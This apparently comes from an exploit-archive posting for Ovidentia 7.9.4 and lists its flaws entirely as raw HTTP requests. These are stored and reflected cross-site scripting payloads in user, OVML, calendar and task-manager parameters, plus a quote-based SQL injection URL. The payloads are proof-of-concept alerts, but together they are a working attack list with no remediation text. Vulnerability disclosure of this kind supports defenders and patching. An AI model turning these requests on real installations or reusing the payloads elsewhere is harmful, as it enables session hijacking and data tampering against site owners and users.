Ovidentia 7.9.4 - Multiple Vulnerabilities

============================================================
#1 - Stored XSS
------------------------------------------------------------
 
POST http://localhost/ovidentia/index.php HTTP/1.1
 
tg  users
idx Create
pos A
grp 
widget_filepicker_job_uid[] 52154a53cc0de
user[nickname]  "><script>alert(1);</script>
user[password1] pass123
user[password2] pass123
user[notifyuser]    0
user[sendpwd]   0
user[sn]    Testingusio
user[mn]    M
user[givenname] Testa
user[email] "><script>alert(2);</script>
 
 
============================================================
#2 - Stored XSS
------------------------------------------------------------
 
POST http://localhost/ovidentia/index.php HTTP/1.1
 
user[id]    2
tg  user
idx Modify
item    2
pos 
grp 
widget_filepicker_job_uid[] 52154bde9410a
user[nickname]  test
user[setpwd]    0
user[password1] 
user[password2] 
user[sendpwd]   0
user[sn]    "><script>alert(3);</script>
user[mn]    M
user[givenname] "><script>alert(4);</script>
user[email] [email protected]
 
GET http://localhost/ovidentia/index.php?tg=user&idx=Modify&item=2&pos=&grp= HTTP/1.1
 
 
============================================================
#3 - Stored XSS
------------------------------------------------------------
 
POST http://localhost/ovidentia/index.php HTTP/1.1
 
Submit2 Update
idx modify
item    1
ovmldetail  "><script>alert(5);</script>
ovmlembedded    "><script>alert(6);</script>
tg  admoc
update  ovmldb
 
 
============================================================
#4 - Reflected XSSs
------------------------------------------------------------
 
GET http://localhost/ovidentia/index.php?tg=users&bupd="><script>alert(7);</script> HTTP/1.1
GET http://localhost/ovidentia/index.php?tg=addon/widgets/groups&idx=get&id_parent="><script>alert(8);</script>&uid=widget_acl99&levels=2&id_delegation=0
GET http://localhost/ovidentia/index.php?tg=admoc&idx=addoc&item="><script>alert(9);</script> HTTP/1.1
GET http://localhost/ovidentia/index.php?tg=users&idx=List&pos=A"><script>alert(10);</script>&grp=&sSearchText= HTTP/1.1
GET http://localhost/ovidentia/index.php?tg=users&idx=List&pos=A&grp=&sSearchText="><script>alert(11);</script> HTTP/1.1
GET http://localhost/ovidentia/index.php?tg=admfm&idx=modify&fid=1"><script>alert(12);</script> HTTP/1.1
GET http://localhost/ovidentia/index.php?idx=options&tg=calopt&urla=javascript:prompt(13); HTTP/1.1
GET http://localhost/ovidentia/index.php?idx=displayGanttChart&iIdOwner=1_</script><script>prompt(14)</script>&iIdProject=-1&tg=usrTskMgr
GET http://localhost/ovidentia/index.php?idx=displayGanttChart&iIdOwner=1&iIdProject=0_</script><script>prompt(15)</script>&tg=usrTskMgr 
GET http://localhost/ovidentia/index.php?ids=1"onmouseover=prompt(16)>&idx=hpriv&tg=topman
 
 
============================================================
#5 - SQL Injection
------------------------------------------------------------
 
GET http://localhost/ovidentia/index.php?tg=admoc&idx=octypes&action=delete_type&item=1%27&entitytype=2

#  0day.today [2018-02-16]  #